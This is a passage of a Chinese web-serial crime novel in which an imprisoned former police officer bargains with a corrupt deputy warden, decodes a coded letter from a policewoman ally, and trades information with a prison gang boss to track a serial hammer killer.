“燃哥……”周晓阳想跟,被林燃一个眼神止住。
“没事。”他说完,拉开门走了出去。
年轻狱警在前头带路,步子迈得大,皮鞋跟敲在水磨石地面上,咔咔作响。
不是去办公楼的方向,而是绕到了监舍楼后面,一栋独立的二层小楼。
这是监狱管理层之前的一个旧仓库,僻静,偏远。
经常被管教们拿来“私下谈话”。
第八十九章 安排手下
这里比正规办公室隐蔽,也更容易让人心里发毛。
二楼最里间。
狱警推开门,示意林燃进去,自己却没进,反手带上了门。
房间很大,一进门就一股子淡淡的血腥味。
这老仓库布置的像个屠宰场,挂链、铁凳,还有长板桌,林燃知道这就是弄人的地方。
选在这里,就是为了“弄人”。
而今天要弄自己是一位前几天的“朋友”、曾经的“保命符”——
副监狱长李昌东。
像是为了迎接这位领导,今天这谈话室特意弄了个实木办公桌,皮转椅,甚至还摆了一套茶具。
窗户拉着厚重的窗帘,只开了一盏台灯,光线昏黄,把坐在桌后的李昌东笼在一片阴影里。
他正在泡茶,紫砂壶,小杯,动作慢条斯理。热气袅袅升起,带着一股劣质茶叶的涩香。
“坐。”李昌东没抬头,指了指对面的椅子。
林燃坐下。
椅子是硬木的,没垫子,硌人。
但总比旁边不远处摆着的铁凳好。
李昌东倒了两杯茶,推过来一杯。茶水颜色深褐,漂着点茶梗。
“尝尝,新到的。”他说,自己先抿了一口,咂咂嘴,眉头微皱,似乎对味道不太满意。
林燃没动那杯茶。他看着李昌东。
副监狱长今天穿了件半旧的夹克,脸色比上次在理疗室见时更疲惫了些,眼袋浮着,但眼神锐利,像两把小刮刀,上上下下地刮着林燃。
“茶不错。”林燃开口,语气平淡。
“不错?”
李昌东笑了,笑意没到眼底。
“可惜啊,有些人答应好的‘茶叶钱’,拖到现在也没个影儿。我这人做生意,讲究个诚信。钱不到,货不出,话……自然也不算数。”
他放下茶杯,身体微微前倾,台灯的光从他下巴往上打,让那张脸显得有点阴森。
“林燃,一万块。三天,你说得清清楚楚。今天第几天了?”
“第四天。”林燃答。
“钱呢?”
“李监,”林燃迎着他的目光,“钱在路上。出了点意外,但一分不会少你的。”
“意外?”
李昌东嗤笑一声,靠回椅背,手指在桌面上有一下没一下地敲着。
“林燃,跟我玩这套的人,你不是第一个。上一个这么跟我说的,现在还在禁闭室蹲着呢。脑子都不太清楚了。”
他敲桌子的节奏加快,情绪明显有点烦躁。
“我不管你有什么意外。明天这个时候,一万块,必须到我指定的账户。少一分……”
他拖长声音,从抽屉里拿出一张纸,作势要写调令。
“我怎么让你从医疗监区出来的,我就能让回去,甚至还能让你调去更‘合适’的地方。比如,进精神病房,跟一群疯子住一起,怎么样?”
威胁赤裸裸,带着上位者不容置疑的霸道。
林燃知道他不是虚张声势。李昌东有这能量。
“李监,钱一定会到。”
林燃再次保证,声音稳了下来,甚至带上一点恰到好处的为难。
“但眼下,我手头确实紧。不过……另一笔小钱,倒是可以先给您,算是我的一点诚意,也请您宽限两日。”
“小钱?”李昌东挑眉。
“三千。”
林燃说,“今天就能送到‘老陈茶铺’那儿。剩下的七千,最迟后天,一定补齐。”
李昌东敲桌子的手指停了。
他眯起眼,重新打量林燃,似乎在权衡这话的真假,以及三千块“诚意”的价值。
房间里只有旧台灯镇流器发出的微弱嗡鸣,和两人压抑的呼吸声。
过了大概半分钟,李昌东忽然咧开嘴,又笑了。
这次笑容真实了点,却更让人不舒服,那是看到猎物挣扎时,捕猎者露出的兴味。
“行啊,林燃。”
他收回前面那张纸,像是收回一份调令。
“三千,今天下午五点前,送到老地方。”
林燃点了点头。
“剩下的七千,后天。”
李昌东身体前倾,声音压低:“后天这个时候,钱不到账,你就不是回医疗监区那么简单了。我保证,你会后悔今天还坐在这里跟我讨价还价。”
“明白。”
“滚吧。”李昌东挥挥手,重新端起那杯凉了的茶,不再看他。
林燃起身,走向门口。手握住门把时,身后传来李昌东慢悠悠的声音:
“哦,对了。彭振副监狱长昨天还问起你,关心你的‘病情’。我帮你圆过去了,说你恢复得不错。这人情,也算在那三千里头了。”
林燃没回头,拉开门走了出去。
走廊里比来时更暗,年轻狱警领着他下楼。
他得尽快让刘长生把这钱吐出来,送到李昌东小姨子的茶叶铺。
时间不等人。
至于剩下的七千,还有赵大金虎视眈眈的秘密……
林燃走出小楼,下午惨白的阳光兜头浇下来,刺得他眯了眯眼。
监狱高墙投下的阴影,漫长而清晰,正一步步追着他的脚跟。
…………
回到312监舍,
周晓阳正蹲在便池边搓袜子,手停在水里,扭过头看他。
“燃哥,”周晓阳先开口,声音发干,“没事吧?”
林燃没答,走到自己头板位置坐下,背靠着冰凉的墙壁。
水泥的寒气透过薄薄的囚服渗进来,倒让人脑子清醒。
“没事。”
他需要安静。
刘长生那三千块,是第一步,也是眼下唯一能走的一步。
林燃闭眼,脑子里过了一遍医疗监区里刘长生那张惨白的脸——赌债八万,偷药证据捏在自己手里,再加个笑面佛可能灭口的威胁。
三千块,对那医生来说,是割肉,但比起坐牢或者横死,这肉不得不割。
问题是怎么让这钱今天之内送到。
林燃睁开眼,目光落在刀疤辉身上。
“刀疤,”他开口,“你跑个腿,替我带句话出去。”
“行!带给谁?”
林燃撇嘴笑了下:“你手不是刚好有伤嘛,需要看医生,你到时和干部汇报,说手感染了,要去看病,去找医生刘长生。”
“好的!带什么话?”
“你告诉他,把答应我的钱,今天下午五点前送到老陈茶铺。”林燃说的简短。
第九十章 刑法学教程
“没问题!”
刀疤辉笑着说完,下一秒马上就拍起来铁栅栏,一片喊疼起来,演技十分逼真。
很快,管教不耐烦地过来了,听了情况,又看了看刀疤辉的手,只能打开门把人带走了。
第一件事情布置下去了,现在要准备另外那七千块。
下午放风,林燃没去放风场。
他要去阅览室工作——
本来想问问最近有没有拳赛,现在只能去看看老赵。
老赵头还在那儿,花白头发,老花镜滑到鼻尖,正对着一本泛黄的《监区管理手册》打瞌睡。
听见动静,抬了抬眼皮,见是林燃,没说什么,挥挥手示意他自己找地方坐。
阅览室空荡荡,就他们两人。阳光从高窗的铁栏杆间斜切进来,光柱里浮动着细小的尘埃。
林燃没心思做事。
他坐在靠窗的旧木桌前,手指无意识地划过桌面裂缝里积年的污垢。
脑子里那本账翻得飞快。
剩下的路,好像都堵死了。
时间一点点磨过去,窗外的光柱慢慢变短,颜色从淡金转向昏黄。
就在林燃以为今天没机会找人打听时,走廊传来脚步声,不是狱警那种整齐划一的皮鞋响,是趿拉着布鞋、拖沓又有点急躁的步子。
老赵头被惊醒,扶了扶眼镜,看向门口。
门被推开,进来的是管后勤杂务的“老吴”,五十来岁,有点驼背,手里抱着个脏兮兮的帆布邮袋。
“老赵,这批信和包裹,你们监区的。”
老吴把邮袋往门口地上一搁,喘了口气,“自己分吧,我那边还一堆事。”
他说完,转身就走,布鞋声又趿拉远去。
老赵头嘟囔了一句,慢腾腾起身,走过去拖邮袋。
袋子很沉,在地上磨出沙沙的响声。
林燃心里动了动。信?包裹?
他站起来,走过去:“赵叔,我帮你。”
老赵头也没推辞,让林燃把邮袋拖到屋子中间。
拉开拉链,一股霉味混着灰尘扑面而来。
里头乱七八糟塞着牛皮纸信封、捆扎的旧报纸,还有几个用粗布裹着、贴着歪歪扭扭地址标签的小包裹。
老赵头蹲下,开始分拣。
动作慢,但有条理,按监舍号把信和包裹分开摆放。
林燃蹲在旁边,眼睛扫过那些名字。
忽然,他手指一顿。
一个浅蓝色的信封,混在一堆土黄色牛皮纸里,很扎眼。
信封右下角,用娟秀的钢笔字写着:“三监区 312监舍林燃(收)”。
没有寄件人地址,只有落款一个“墨”字。
秦墨。
林燃感觉心脏猛地缩了一下。
他面上不动声色,等着老赵头把那叠属于312的信件理出来。
“喏,你们监舍的。”
老赵头把几封信和一个小包裹推过来。
除了那个蓝色信封,还有两封显然是家属寄来的普通家书,包裹则是个巴掌大的牛皮纸包,裹得严严实实。
林燃接过,道了声谢,拿着走回座位。
他先拿起蓝色信封。
纸质比监狱里常见的粗糙信纸好得多,触手平滑。拆开封口,里面只有薄薄一页纸。
展开,是秦墨的字迹,一如既往的利落。内容乍看平常,问他在里面怎么样,腿伤好了没,天气转凉注意加衣。
但中间一段,却显得有些突兀:
“……最近市里彩票站挺热闹,同事他们总研究什么号码走势,我看着都头晕。
随口问了句,他们居然跟我说了一串数字,说是这期的‘幸运号’:
03、07、12、18、25、31+08。
也不知道能不能中,听着玩罢了。
你以前好像也懂点这个?要是无聊,也可以瞎猜猜,当个乐子……”
彩票号码。
林燃盯着那串数字,指尖微微发凉。
这是他和秦墨之间约定的暗号。
用特定的书作为密码本,页码、行数、列数对应字词。
他立刻想起那个包裹——秦墨之前探视时约好,会寄一本《刑法学教程》进来,作为密码本。
林燃马上拿起那个纸包小包裹。
很轻,捏着里面确实是本书的形状。
他剥开牛皮纸,深蓝色的封皮露出来——《刑法学教程(1998年版)》。
就是它。
林燃拿起书,快速翻到版权页,确认版次和出版社无误。
他深吸口气,准备对照信里的“彩票号码”解码。
就在这时,阅览室的门被“哐”一声大力推开。
老严顶着那张鱼泡眼的脸,晃晃悠悠走了进来。
囚服外套松垮垮地披着,嘴角挂着那惯有的、让人不舒服的假笑。
“哟,林燃,躲这儿清净呢?”
他声音拉得老长,眼睛先瞟过林燃手里的信和书,又扫了一眼地上还没分完的邮袋。
“可以啊,还有信看,有书读。这小日子,比我们管教的都舒坦。”
老赵头抬起头,皱了皱眉,没吭声。
林燃把信纸折起,连同那本《刑法学教程》一起不动声色地放到了大腿上,用囚服下摆盖住。
“严管教。”他叫了一声,算是打过招呼。
这老严是他最讨厌的管教,之前在监区强卖物资,弄点小钱时,被林燃怼了回去,好一段时间没敢惹他,没想到今天又找过来。
老严踱步过来,皮鞋尖几乎踢到邮袋。
他居高临下地看着林燃,鱼泡眼里闪过一丝快意。
“听说……李监今天找你‘谈话’了?”
他把“谈话”两个字咬得意味深长。
“谈得怎么样啊?李监是不是……对你的改造情况挺失望的?”
林燃瞬间明白了。
老严这消息倒是灵通,估计是看见李昌东的人带自己去了旧仓库“单独管教”。
便自以为林燃失了李昌东的庇护,成了可以随意拿捏的软柿子。
“李监就是关心一下我的恢复情况。”
林燃语气平淡,抬眼看向老严,“严管教有事?”
“事?没事就不能来看看你?”
老严嘿嘿一笑,弯腰,突然伸手去抓林燃腿上那本《刑法学教程》的封皮。
“看什么书呢?这么认真……哟,《刑法学教程》?怎么,还想研究法律,给自己翻案啊?”
林燃手疾眼快,一把按住书。
两人手指碰在一起,老严的手汗津津的。
“随便看看。”林燃说,手上力道没松。
第九十一章 再见女朋友
“随便看看?”
老严脸上假笑收了些,手上加了劲。
“我看看怎么了?检查违禁物品,不行吗?这书……来历正不正啊?
是不是外面那些不三不四的人寄进来的?”
他明显是想找茬。
包裹信件虽然管理混乱,但管教真要查,也有权拆看。
随便找个由头没收了也是家常便饭,之后囚犯想要,就只能“买回来”。
尤其是现在,他觉得林燃“失势”了。
林燃盯着老严那双泛黄混浊的眼珠,脑子飞快转着。
硬扛不行,老严好歹是管教,闹大了自己吃亏。
服软更不行,这口气一旦泄了,以后在312,在三监区,就别想再直起腰。
电光石火间,他忽然松了手劲。
老严正用力拽,没想到对方突然松了,书被他一下子抽了过去,自己还趔趄了一下,差点没站稳。
“严管教要看,当然可以。”
林燃语气甚至带上点无所谓。
“不过,这书是李监上次表扬我积极学习法律时,特意让老赵头找给我看的。
说是让我好好钻研,争取进步。
李监还说……等我学出点心得,要亲自考我。”
他顿了顿,看着老严瞬间僵住的脸,慢悠悠补了一句:
“李监今天找我,除了关心我身体,还问了问我这本书看到第几章了。
我说刚开始看总则部分,李监还勉励我几句,说‘年轻人知道学法是好事’。”
一番话,半真半假,虚虚实实。
李昌东确实因为“学习法律”表扬过他,也调他来了阅览室。
至于问看书进度,纯粹是林燃即兴发挥。
但听在老严耳朵里,味道全变了。
李昌东还关心他看书?还勉励他?
这哪像是“失势”的样子?
难道自己判断错了?
李昌东找他不是训斥,是真的“关心”?
老严捏着那本《刑法学教程》,拿也不是,放也不是。
鱼泡眼里闪过一丝慌乱和不确定。
他固然恨林燃上次让他当众丢脸,但也更怕得罪李昌东。
副监狱长一句话能决定自己岗位。
林燃趁热打铁,伸出手,语气缓和了点,却带着不容置疑:
“严管教,书您检查完了吗?要是没问题,我还得抓紧看。
李监说不定过两天真问起来,我答不上,就辜负他期望了。”
老严喉结滚动了一下,手指捏得书皮嘎吱轻响。
几秒钟后,他干笑两声,把书有点狼狈地塞回林燃手里。
“看……看书好,学习好。”他眼神躲闪着,“李监重视你,你……你好好学。”
说完,他像是怕再待下去露怯,转身就往门口走,脚步有点乱。
到门口时,还差点被邮袋绊了一下,低声骂了句什么,匆匆消失在走廊里。
阅览室重新安静下来。
老赵头从头到尾没插话,这时才轻轻咳嗽一声,推了推眼镜,继续分拣他的信件,仿佛什么都没发生。
林燃握着失而复得的《刑法学教程》,掌心有点潮。他重新坐稳,把秦墨的信铺开,对照着那串“彩票号码”,快速翻动“密码本”。
03页,07行,12列……18页,25行,31列……+08页……
一个个字词被对应找出,在他脑子里拼接成句。
秦墨的讯息简短却关键,提及了对“昌荣国际”的初步调查遇到阻碍,资金流向复杂,但提到了一个关联的仓库区。
同时提醒他,监狱内部有人与外界联系密切,让他万事小心,并约定了下一次“彩票号码”传递的时间。
接下来秦墨还有两封信,但都是属于联系不上林燃时的急切,询问他的近况。
这段时间,林燃正在医疗监区出生入死,也没办法联系这女警察。
好在现在出来了。
他决定赶紧给秦墨打个电话。
…………
电话间在三楼走廊尽头,铁皮门,窄窗焊着拇指粗的钢筋。
值班狱警歪在门口的破藤椅里翻报纸,眼皮都没抬,只伸手指了指里面那部黑色老式拨盘电话。
他面前桌上摆着个听筒,那是监管囚犯狱内电话的监听器。
监狱里的通话都是被管控的,而且每个月的通话有限额。
林燃走进去,带上门。
空间窄得转不开身,话筒上油渍和汗渍混成一层黏腻的包浆,听筒里传来稳定的忙音。
他先拨了秦墨留下的那个寻呼台号码,等回电。
墙上挂钟的秒针一格一格跳,声音在密闭的铁皮屋里被放大。
大约两分钟,电话铃骤响。
林燃抓起话筒。
“喂?”是秦墨的声音,压得低,背景有模糊的车流声,像是在路边公用电话亭。
“我,林燃。”
对面停顿了半秒,呼吸声略微急促起来:“你怎么样?还好!?”
“好。有急事,见面说。”林燃言简意赅,“明天上午,能安排探视吗?”
秦墨没立刻答应。
电话里传来她手指无意识敲击塑料壳的轻响,她在权衡。
安排非例行面对面探视需要动用关系,也有风险。
“很急?”她问。
“见面说。”林燃重复,语气已经透露了答案。
“……好。”秦墨终于松口,“明天十点,我想办法。”
“嗯。”
“林燃,”秦墨在他挂断前忽然叫住他,声音更低了,几乎贴着话筒气声说,“你真的没事吧?。我听说……”
“咳咳!”
见秦墨还是太嫩,差点在电话里说这些。
林燃赶紧咳嗽一声,旁边看报纸的狱警的狱警掀了掀眼皮,又耷拉下去。
秦墨这下也反应过来,赶紧止住。
“那好……就明天见面聊。”
“嗯。明天见。”
林燃撂下电话,金属听筒撞在话机上,“哐”一声闷响。
他当然会急,因为无奈之下,那七千块,他决定先找秦墨借,再看看上次提的两个事,这姑娘查的怎么样了。
第二天上午九点五十,林燃果然被带往探视区。
不是普通犯人用的玻璃隔断电话间,而是更靠里的一间屋子,门牌上写着“会见室”。
里面陈设简单,一张旧木桌,两把椅子,没有玻璃隔断,面对面。
秦墨已经在了。
第九十二章 女友博弈
她今天套了件米白色的薄毛衣,深蓝色牛仔裤,头发扎成利落的马尾,露出光洁的额头。
脸上略施淡粉,让林燃眼前一亮。
他猛然想起,眼前这位美女警察,当年还是警校的校花级别。
自己当时也很优秀,堪称一时瑜亮。
但此时在她清丽脱俗的外表面前,自己却一身囚服……
她面前摊着个牛皮纸文件夹,手里转着支笔,听见门响,抬起头。
一见林燃就站了起来。
“亲爱的,怎么几天都不理我?”
一声恰到好处的称呼,加上凑到眼前的香甜气味。
让林燃都有些瞬间恍惚,忘了自己和秦墨是扮演的“男女朋友”关系。
“咳,我最近有点不舒服,现在好了……”
林燃和她轻轻抱了一下,就分开在对面坐下。
带他来的狱警见两人十分正常的搞对象样子,就退到门外,门虚掩着,留了条缝。
“你气色还好,但……”
秦墨打量他,目光在他颈侧那道已经结痂的细长划痕上停了停。
“死不了。”
林燃直接切入正题,“昌荣国际,查到什么?”
秦墨合上文件夹,身体前倾,手臂压在桌沿:“查了。背景很复杂。表面是做建材和化工进出口,实际资金流水极大,而且……”她顿了顿,“和几家境外空壳公司有频繁往来。2000年6月增资那一千万,走的是香港一家银行的通道,源头追不到。”
“姚永军呢?和这家公司有明面关联吗?”
“没有。”
秦墨摇头,“至少工商登记、股东名单里没有‘姚永军’这个名字。但我在调阅一些旧档案时,发现一个细节。”
她声音压得更低,
“昌荣国际在1999年底,曾经申请过一批特种化工原料的进口配额,审批流程卡在市局某个部门,后来是‘上面有人打招呼’,才放行的。打招呼的时间,正好是2000年5月。”
2000年5月。姚永军是6月“招募”林燃的。
时间线咬上了。
林燃手指在膝盖上轻轻敲着:“打招呼的人,能查到吗?”
秦墨面露难色,摇了摇头:
“这种事你知道的,只会是口头上的,就算‘批条子’,那‘条子’也不可能放在档案里,何况我听说,这打招呼的人……你明白的。”
她没明说,但意思清楚——涉及高层,水太深。
“那另一件事呢?”
林燃盯着她,“2000年6月12日,城西老码头三号仓库毒品交易案,原始报案记录和出警干警名单。”
秦墨转笔的动作停住了。
她避开林燃的目光,看向桌角一处脱漆的疤痕,过了两三秒才开口,语速比刚才慢了点:
“那个……我查了接警记录。当天晚上九点四十左右,市局指挥中心接到匿名电话,称老码头三号仓库有毒品交易。值班记录只写了‘群众举报’,录音记录隔这么久,已经被洗了,也没来电号码。”
她说得有些磕绊,像背诵事先准备好的说辞。
“名单呢?”他抬起眼,看着秦墨,“老码头出警的名单。”
秦墨的睫毛颤动了一下。
她避开林燃的目光,手指无意识地捻着通话线的胶皮。
“档案室……确实没找到当天的详细值班记录。”她说,每个字都像是从齿缝里挤出来的,“只查到那天晚上,附近片区有例行巡逻,但带队的人……没有记录。”
“真的没有”林燃重复。
秦墨吸了口气,抬起眼,试图和林燃对视来增强说辞的可信性,但一碰触男人的目光,她又下意识低头躲避。
为难,又像是一点不易察觉的歉然。
“真的没有名单……档案室那边说,那份出警记录的附件缺失了。可能是当年归档时遗漏,也可能是……”
她没说完。
也可能是被人为抽走了。
林燃没说话,只是看着她。
他确信秦墨已经查到了什么,但是却无法告诉自己。
会见室里很静,能听见门外狱警偶尔咳嗽的声音,还有远处监区隐约传来的广播操音乐。
秦墨被他看得有些不自在,手指蜷缩了一下,忽然转开了话题:
“其实……我今天来,还有个案子想听听你的看法。”她像是急于打破某种凝滞的气氛,语速又快起来,“最近市里出了个系列案,很棘手。”
林燃身体往后靠了靠,椅背发出轻微的“吱呀”声。他没追问名单,也没顺着她的话,反而提了一个奇怪的要求:
“我想找你借钱,急用。”
“这案子……啊?多少钱?”
秦墨有些疑惑的抬头。
当她对上林燃略显冷漠的目光时,她也一下明白过来。
对面的男人不是她予取予求的“百宝箱”。
两人之间是平等的交易和合作。
一方帮忙在外调查林燃的案子,另一方帮忙解答棘手的案件。
互相协作。
可秦墨此时对于出警名单的犹豫,让林燃有些不悦。
他重新提了个要求。
是试探。
也是补偿。
“七千块,我在里面欠了些钱,希望你能帮忙借一点。”
林燃继续抬着头,借钱的样子十分强势。
他确实是在试探眼前的漂亮女警察。
对于秦墨,他是抱有极大期待的,她也一直做出了很好的回应。
但今天,她却开始对自己隐瞒?
这让林燃有些不快。
“这……嗯,我尽量。”
秦墨只略一迟疑,就说了零模两可的回答。
接着林燃给了一个继续说案子的眼神。
她清了清喉咙,继续往下说:“这个案子,局里给了个外号,叫‘敲头党’。”
秦墨吐出三个字,眉头拧紧了。
“从去年年底开始,到现在,七个月,作案十四起,死九人,重伤致残五人。全是夜间独行女性,作案手法一模一样。”
她打开文件夹,抽出几张现场照片和案情简报,推到林燃面前。
照片拍得血腥却清晰。受害者倒在路边、巷口、楼道阴暗处,后脑颅骨凹陷破裂,血迹喷溅状分布。
简报上写着法医结论:
凶器为榔头类钝器,一击致命或致昏,力量极大,角度刁钻。
“唯一一个幸存者,是在上个月。”
第九十三章 专业
秦墨指着其中一份询问笔录
“女孩二十二岁,晚上下班回家,感觉后面有人跟。她快走到小区时,发现跟踪者加速逼近,她冲进一个单元门,躲在一楼煤房杂物堆后面。跟踪者追上来,脚步声上到二楼,停了一会儿,又下楼离开。女孩从门缝里看了一眼,只看到背影,中等身材,穿深色夹克,蒙着脸。但她说,那人喉结特别大,像……像个枣核,非常明显。”
喉结特别大。
这线索太宽泛了。
林燃又把目光落在“榔头”两个字上。
坚硬,沉重,握柄短,便于隐藏,发力猛。
一击下去,颅骨就像鸡蛋壳一样碎开,连呼救的机会都没有。
这不是本地抢劫强奸的手法,这是北边过来的手法。
“手法很专业。”
林燃开口“从袖子里出锤,抓柄尾,抡击,动作必须极快,而且对距离和角度的判断要非常准。一般人做不到。”
“我们推测可能是外省流窜过来的。”
秦墨点头,“但排查全市流入人员,这个范围太大,而且他作案区域不固定,时间都在晚上九点到凌晨两点之间,毫无规律。唯一的共同点就是……受害者都是女性,独行。”
林燃拿起一张现场方位图看着。几个红点散落在安江市地图上,东一片西一片,看似随机,但他盯着那些弯弯曲曲的小路和老街区,脑子里忽然闪过一个模糊的念头。
“幸存者说,她跑进的那个单元门,一楼是煤房?”他问。
“对,老式居民楼,楼梯在煤房上面半层。”
“凶手追上去,到了二楼,停了,没搜一楼煤房,就走了?”
秦墨怔了怔,重新看那份笔录:“……笔录上是这么写的。女孩说,她听到脚步声上到二楼,停留了大概十几秒,然后下楼,离开单元门。”
“他知道煤房可能藏人,但他没时间搜,或者……他判断目标已经上楼了。”林燃用手指点了点地图上那个案发小区的位置,“这种老楼,楼梯陡,脚步回声大。凶手在二楼停留,可能是在听楼上的动静。如果他听到楼上有关门声或者继续往上的脚步声,就会认为目标回家了一旦目标进屋,再下手风险剧增。所以他放弃,立刻撤离。”
他抬起眼,看向秦墨:“这人极其谨慎,而且目的明确——就是袭击独行女性,抢劫和性侵,绝对是个流窜惯犯,现有证据和范围,你们抓不住他。”
会见室里的空气有些滞重。
秦墨带来的案子像一块沉铁,压在两人都陷入沉默。
“这个‘敲头党’,你们排查方向是什么?”林燃问。
秦墨像是终于等到他接话,语速再次加快:
“流窜作案、反侦查能力强、对城市地形熟悉……我们推测凶手可能有前科,甚至可能就在安江市及周边地区有过案底,只是没被揪住。
但范围太大了,十四起案子,现场除了鞋印和极少量的纤维,没留下任何有价值的生物检材。那鞋印也是最常见的解放胶鞋,四十二码,全市能找出几万双。”
她说着,手指无意识地敲了敲那张幸存者描述的记录纸:“喉结大得像枣核……这特征太模糊了。我们摸排了全市有抢劫、伤害前科的人,符合体态特征的倒是有几个,但都没有确切的不在场证明,也拿不到直接证据。”
林燃听着,脑子里却想到了另一条路。
监狱。
这个鱼龙混杂的地方,才是真正的情报黑市。外面警察查不到的人,或许在这里早就有名有号。尤其是这种手法狠辣、流窜作案的悍匪,很可能在别的省份犯过事,进来过,或者……有同乡在这里。
“案子我记下了。”林燃终于开口,声音不高,“钱的事,你尽快。另外——”
他顿了顿,目光再次落在秦墨脸上。
“我需要你动用外面的关系,帮我核实一件事。”
秦墨身体微微前倾:“你说。”
“这里有个北佬帮的老大,叫赵大金,自称是前绥河市缉毒警。他当年被栽赃的案子,卷宗还能不能想办法看到?特别是……涉及那家物流公司的部分。”
秦墨眼神一凛:“你怀疑……”
“我不怀疑什么,”林燃打断她,“只是想多了解这位‘合作伙伴’。知己知彼。”
秦墨沉默了片刻,点头:“我试试。但这类陈年旧案,又是跨省的,需要时间,也可能根本调不出来。”
“尽力就行。”林燃说完,站起身,“探视时间快到了。”
秦墨也跟着站起来,快速将桌上的照片和简报收进文件夹。在狱警推门进来前,她飞快地低声说了一句:“钱我会尽快想办法。你自己……千万小心。”
林燃看了她一眼,没说什么,转身跟着狱警离开了会见室。
回监舍的路上,他脑子里已经清晰地理出了两条线:
一是利用北佬帮的监狱网络,撒网找那个“喉结大”的敲头党;
二是用“榔头”死前吐出的秘密,跟赵大金做一笔交换——既要换他帮忙寻人,也要更多的庇护。
会见完,回到312监舍,刀疤辉已经回来了,左手裹着的布条换了新的,脸上带着点如释重负的虚汗。
他凑到林燃耳边,声音压得极低:
“燃哥,话带到了。刘长生那孙子,脸白得跟鬼一样,但还是点头了,说五点前一定送到。”
林燃“嗯”了一声,把碗里一块煮得发黑的肥肉夹到刀疤辉碗里:“辛苦了。”
刀疤辉愣了一下,没敢多话,低头把那块肉囫囵吞了。
下午放风,林燃没再待在角落。
他径直朝着放风区东角废器械堆走去。小浙江像影子一样跟了上来。
“我要见虎爷。”林燃没回头,说道。
“现在?”
“就现在。”
小浙江没再多问,加快几步赶到前面引路。
还是那条熟悉又肮脏的路径,维修通道里的霉味似乎更重了。
赵大金这次没蹲着喂蚂蚁。
他靠在一个废弃的锅炉外壳上,嘴里嚼着根草茎,目光像鹰一样盯着走过来的林燃。
第九十四章 蚌鹤相争
“想通了?”他吐掉草茎,开门见山。
“榔头死前,确实说了个地方。”林燃站定,隔着两三米的距离,“但我需要你先帮我办件事。”
赵大金咧咧嘴,笑容冷硬:“跟我谈条件?”
“是交易。”林燃纠正,“你帮我找个人,我告诉你地方。另外,以后有事需要时,你也欠我一个人情。”
“找谁?”
“一个北方来的,可能最近半年到一年在安江犯过事,或者跟犯事的人有关系。特征:中等身材,喉结奇大,像枣核。惯用榔头之类的钝器袭击独行女性,手法狠,一击毙命。”
赵大金眯起了眼:“条子的案子?”
“你不需要知道是什么案子。”林燃迎着他的目光。
“你只需要知道,这个人可能在外省也有案底,可能进过宫。你们北佬帮的人来自北边,监狱里外省的消息,你们最灵通。”
赵大金沉默着,手指搓着裤缝。他是在权衡,一个模糊的凶手信息,值不值得换那个可能扳倒笑面佛的秘密,外加人情。
“这消息不一定有。”他最终开口,声音沙哑,“就算有,也得时间。”
“我给你时间。”林燃说,“但找人的事,得同时进行。虎爷,榔头已经死了,知道那个地方具体在哪,现在只剩下我。笑面佛肯定也在拼命找。你等得起,他未必等得起。万一他先找着了,或者把痕迹抹干净了……”
他没说完,但威胁的意思很明显。
赵大金盯着他,腮帮子动了动,像是在咬牙。几分钟后,他从鼻腔里哼出一声:“成。我立刻让兄弟们放出风声去问。但你记着,林燃——”
他往前一步,身上那股混合着烟草和汗渍的压迫感扑面而来。
“要是最后你给的地方是假的,或者根本没什么价值……我会让你知道,骗我赵大金的下场,比落在笑面佛手里惨十倍。”
“地方是真的。”林燃面不改色,“价值有多大,等你找到了,自然知道。”
离开废器械堆,林燃后背的囚服又湿了一片。和赵大金这种人打交道,就像走在刀锋上,每一步都得计算清楚。
傍晚,晚饭前,刀疤辉趁着去水房打水的空隙,溜到林燃身边,耳语道:“燃哥,刚听医疗室的护工嘀咕,说刘长生下午请假出去了,估计是送钱去了。”
林燃心里微微一松。刘长生这三千块“买命钱”总算送出去了,李昌东那边至少能缓两天气。
接下来,就看赵大金的效率,还有秦墨那边的筹款了。
第三天的下午,放风刚结束,林燃就被小浙江带到了赵大金的面前。
这次,北佬帮算是全员出动,把他堵在这个放风广场的角落里。
刀疤辉他们发现不对,想把林燃带走,可被几个人高马大的北佬帮成员拦住。
一行人来势汹汹。
林燃却临危不惧。
虎爷先开口问:鹤岗来的,去年在绥化犯过事,打闷棍抢钱,没弄死人,判了三年,刚解教出来半年。这人喉结大得吓人,兄弟们都叫他‘鹅哥’。去年冬天有人在海东省见过他,后来没音信了。是不是你们要找的那个?”
信息很糙,但几个关键词都对得上:
北方来的,有前科(打闷棍),喉结大(绰号“鹅哥”),时间也吻合(去年冬天出现在邻省)。
监狱里的信息网,能这么快捞出这么一条模糊的线,已经证明了北佬帮的能量。赵大金确实在办事。
林燃点了点头:“对,这人应该就是!”
“行,你要的东西,我要的东西呢?”
虎爷说到这,吐出口里的草茎。
身边的小弟都围了过来。
林燃知道榔头那个秘密逗了赵大金这么久,不能再拖了。
他低声吐出几个字:“榔头死前,说人在右角的冷库。”
“冷库!?”
赵大金听到这个词,先是一愣,然后眼睛猛然一亮!
“果然!果然啊,原来远在天边近在眼前!这个笑面佛,胆子太大了!”
他嘿嘿冷笑一下。
再也不管林燃,转头就走。
众人也一下散开。
林燃背后沁出冷汗。
看来这虎爷已经猜到了笑面佛的把柄所在。
这下肯定会尽快安排人出去动作。
把那个冷库的秘密给掀翻开来。
然后,东北虎可以利用这个秘密,钳制笑面佛在监狱里的势力,甚至能达成某种程度的合作,让笑面佛低头。
他已经了解赵大金这个人了,他远比看起来的更加危险。
林燃咬了咬牙。
自己这一次,无形中还是帮了北佬帮的忙。
虽然能对笑面佛有些触动,但两方很可能会狼狈为奸!
难道这就是自己想要的?
看着北佬帮做大?
他不准备如此。
林燃蹲着想了想。
很快,他想到了一个办法。
事不宜迟,当天下午,利用阅览室工作的机会,林燃再次申请打电话。这次,他直接让寻呼台转告秦墨两个字:“有料。”
秦墨的回电来得很快,声音带着压抑的激动。
她立即过来,通过关系弄了次紧急会见。
林燃没废话,直接把“铁锤王”和“鹅哥”的信息抛了过去,特别强调了“鹤岗”、“绥化犯案”、“去年冬天海东省出现”这几个节点。
秦墨在的呼吸都有些急促:“我立刻去查!如果真是他……林燃,你立大功了!”
“功不功的再说。”林燃语气平淡,“我要的东西呢?”
秦墨顿了顿,声音低了下去:“钱我凑了八千,就在这了,我马上给你充卡。不过,你……你要那么多钱,到底做什么?”
“你先等等,别充卡,我给你一个地址,你把钱放这里去,买几份茶叶。”
秦墨虽然有些疑问,但还是照做了。
“你让我查的,那个刚拜托北边的朋友,暂时还没动静”。
林燃知道她说的是东北虎底细的事。
他摇了摇头“这都是小事,你先去抓捕这个“鹅哥”,等这个人落网,我还有个大案子需要你帮忙。”
